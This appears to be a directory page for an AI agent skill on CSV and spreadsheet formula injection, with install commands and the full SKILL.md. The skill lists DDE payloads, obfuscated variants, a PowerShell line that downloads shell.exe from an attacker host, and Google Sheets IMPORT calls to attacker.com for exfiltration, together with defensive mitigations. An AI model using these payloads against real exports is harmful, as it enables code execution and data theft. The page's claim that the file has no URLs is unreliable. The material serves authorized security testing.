XLSX
HybridAIOne/hybridclaw
Create, edit, inspect, and analyze .xlsx spreadsheets and Excel workbooks.
CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT).
Install CSV Formula Injection
$ npx skills add yaklang/hack-skills --skill csv-formula-injection -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install yaklang/hack-skills csv-formula-injection --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/csv-formula-injection .claude/skills/csv-formula-injection && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "csv-formula-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/csv-formula-injection into .claude/skills/csv-formula-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "csv-formula-injection", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/yaklang/hack-skills/tree/main/skills/csv-formula-injectionType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add yaklang/hack-skills --skill csv-formula-injection -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install yaklang/hack-skills csv-formula-injection --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/csv-formula-injection .agents/skills/csv-formula-injection && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "csv-formula-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/csv-formula-injection into .agents/skills/csv-formula-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "csv-formula-injection", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add yaklang/hack-skills --skill csv-formula-injection -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install yaklang/hack-skills csv-formula-injection --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/csv-formula-injection .cursor/skills/csv-formula-injection && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "csv-formula-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/csv-formula-injection into .cursor/skills/csv-formula-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "csv-formula-injection", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/yaklang/hack-skills.git --path skills/csv-formula-injection--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add yaklang/hack-skills --skill csv-formula-injection -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install yaklang/hack-skills csv-formula-injection --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/csv-formula-injection .gemini/skills/csv-formula-injection && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "csv-formula-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/csv-formula-injection into .gemini/skills/csv-formula-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "csv-formula-injection", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install yaklang/hack-skills csv-formula-injectionInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add yaklang/hack-skills --skill csv-formula-injection -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/csv-formula-injection .github/skills/csv-formula-injection && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "csv-formula-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/csv-formula-injection into .github/skills/csv-formula-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "csv-formula-injection", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add yaklang/hack-skills --skill csv-formula-injection -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install yaklang/hack-skills csv-formula-injection --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/csv-formula-injection .opencode/skills/csv-formula-injection && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "csv-formula-injection" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/csv-formula-injection into .opencode/skills/csv-formula-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "csv-formula-injection", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
Facts
- Skill name
csv-formula-injection- GitHub stars
- 2.4k
- Token cost
- ~1.1k tokens
- SKILL.md length
- 433 words
- Files
- 1
- Skills in repo
- 27
- Repo updated
- First seen
- Licence
- MIT
At a glance
CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT).
- Works in 6 steps: QUICK START → DDE INJECTION (EXCEL / LIBREOFFICE) → OBFUSCATION → …
- User fields feed spreadsheets
- SKILL.md covers 0. QUICK START, 1. DDE INJECTION (EXCEL /…, 2. OBFUSCATION and 3. GOOGLE SHEETS, plus 2 more sections
- Instructions only: no scripts, shell commands, URLs or credentials in SKILL.md
What it does
CSV Formula Injection is an agent skill from yaklang/hack-skills. CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
Its SKILL.md is about 1.1k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Documents & Office, covering Excel spreadsheets and CSV and tabular files. It works with Microsoft Excel, Google Sheets and LibreOffice. The repository describes itself as: Helping AI Agent become an awesome practical hacker! The licence is MIT.
When your agent uses it
- User fields feed spreadsheets
- Reporting tools
Example prompts
- “/csv-formula-injection”
Workflow steps
6 steps, taken from the step headings in SKILL.md.
What it can do on your machine
Read from SKILL.md and the folder at commit 6fbf0bc. It shows what the files ask for, not the result of running them.
Tool permissions
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Runs code
No scripts in the folder and no shell commands in SKILL.md (its code samples are csv).
From the folder's file list and the shell code blocks in SKILL.md.
Network
No URLs in SKILL.md.
From URLs in SKILL.md, links to its own repository left out.
Credentials
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Context cost
CSV Formula Injection loads about 1.1k tokens when it runs. Until then it costs about 46 tokens; SKILL.md has 433 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
Safety
Auto-check passed
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
SKILL.md
The full file from yaklang/hack-skills at commit 6fbf0bc, republished under its MIT licence (© yaklang). 433 words, ~1,129 tokens.
Download SKILL.mdSave it as
.claude/skills/csv-formula-injection/SKILL.md (or your agent's skills folder).- name
- csv-formula-injection
- description
- CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
SKILL: CSV Formula Injection
AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
0. QUICK START
Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
=
+
-
@Test cells may look like:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.
1. DDE INJECTION (EXCEL / LIBREOFFICE)
Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:
DDE("cmd";"/C calc";"!A0")A0@SUM(1+1)*cmd|' /C calc'!A0=2+5+cmd|' /C calc'!A0=cmd|' /C calc'!'A1'PowerShell-style chaining (lab only; replace host and payload with benign equivalents):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A02. OBFUSCATION
Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!AExtra whitespace after =:
= cmd|'/c calc.exe'!ADispersed characters / unusual spacing (conceptual pattern—adjust per parser):
= C m D |'/c calc.exe'!Arundll32 style:
=rundll32|'URL.dll,OpenURL calc.exe'!A3. GOOGLE SHEETS
If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:
Data exfiltration / probe (replace URL with your authorized callback):
=IMPORTXML("http://attacker.com/", "//a/@href")Other high-risk imports:
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")Document which function executed and what network side effects occurred.
Show full SKILL.md (210 more words)Show less
4. TESTING METHODOLOGY
- Map sinks — Any feature that emits CSV, XLSX, or tab-separated output: admin exports, audit logs, user rosters, billing reports, search results.
- Trace user-controlled fields — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
- Inject formula prefixes — Start with benign arithmetic (
=1+1,+1+1) to detect evaluation; escalate only per rules. - Open in target software — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
- Evidence — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.
Note: focus on the user input -> export -> opened in spreadsheet software chain.
5. DEFENSE
Application and export-layer mitigations:
- Prefix with single quote — In many spreadsheet apps, leading
'forces text interpretation:'=cmd|...displays literally. - Prefix with tab — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
- Strip or neutralize leading triggers — Remove or escape leading
=,+,-,@(and Unicode lookalikes) at export time. - CSV encoding — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
- User education — Do not enable external data / DDE without policy.
Example safe export transformation (conceptual):
Input: =1+1
Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180Note: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.
© yaklang, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Files
Just SKILL.md in skills/csv-formula-injection of yaklang/hack-skills.
Open the folder on GitHubat commit 6fbf0bc
Compare with similar skills
CSV Formula Injection next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| CSV Formula Injection this skillyaklang/hack-skills | 2.4k | — | ~1.1k | Automated safety check: Pass | MIT | |
| XLSXHybridAIOne/hybridclaw | 158 | — | ~1.6k | Automated safety check: Pass | MIT | |
| XLSXLeastBit/Claude_skills_zh-CN | 588 | — | ~1.5k | Automated safety check: Pass | Proprietary | |
| XLSX Spreadsheet ToolkitXiaomiMiMo/MiMo-Code | 14k | — | ~2.9k | Automated safety check: Pass | Apache-2.0 | |
| Excel Spreadsheet Builderagentscope-ai/QwenPaw | 36k | — | ~1.8k | Automated safety check: Pass | Proprietary | |
| Spreadsheet Model AuditorOneWave-AI/claude-skills | 328 | — | ~2k | Automated safety check: Pass | MIT |
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Related
Works with
Categories
Questions about CSV Formula Injection
What does CSV Formula Injection do?
CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT). CSV Formula Injection is an agent skill from yaklang/hack-skills. CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT).
When should I use CSV Formula Injection?
CSV Formula Injection fits situations like: user fields feed spreadsheets; reporting tools.
How do I install CSV Formula Injection in Claude Code?
Run `npx skills add yaklang/hack-skills --skill csv-formula-injection -a claude-code`. Or copy the skill folder (skills/csv-formula-injection in yaklang/hack-skills) into .claude/skills/csv-formula-injection in your project. Claude Code loads it when a task matches its description.
How do I install CSV Formula Injection in Codex?
Run `npx skills add yaklang/hack-skills --skill csv-formula-injection -a codex`. Or copy the skill folder (skills/csv-formula-injection in yaklang/hack-skills) into .agents/skills/csv-formula-injection in your project. Codex loads it when a task matches its description.
Can I use CSV Formula Injection in Cursor, Gemini CLI or GitHub Copilot?
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add yaklang/hack-skills --skill csv-formula-injection -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/csv-formula-injection, .gemini/skills/csv-formula-injection, .github/skills/csv-formula-injection and .opencode/skills/csv-formula-injection in your project.
What does CSV Formula Injection need to run?
SKILL.md names no scripts, command-line tools or credentials: CSV Formula Injection is instructions for the agent only.
Does CSV Formula Injection access the network?
SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.
Is CSV Formula Injection safe to install?
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
What licence does CSV Formula Injection use?
CSV Formula Injection is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
How many tokens does CSV Formula Injection use?
About 1.1k tokens (SKILL.md is roughly 4.5k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
What are the alternatives to CSV Formula Injection?
Skills that share tags, products or a category with CSV Formula Injection: XLSX (HybridAIOne/hybridclaw, 158 stars), XLSX (LeastBit/Claude_skills_zh-CN, 588 stars), XLSX Spreadsheet Toolkit (XiaomiMiMo/MiMo-Code, 14k stars) and Excel Spreadsheet Builder (agentscope-ai/QwenPaw, 36k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Who maintains CSV Formula Injection?
yaklang (a GitHub organization) maintains it in yaklang/hack-skills, which has 2,409 GitHub stars. The repository holds 27 skills in this directory. The repository was last updated on September 13, 2026.
Source: yaklang/hack-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.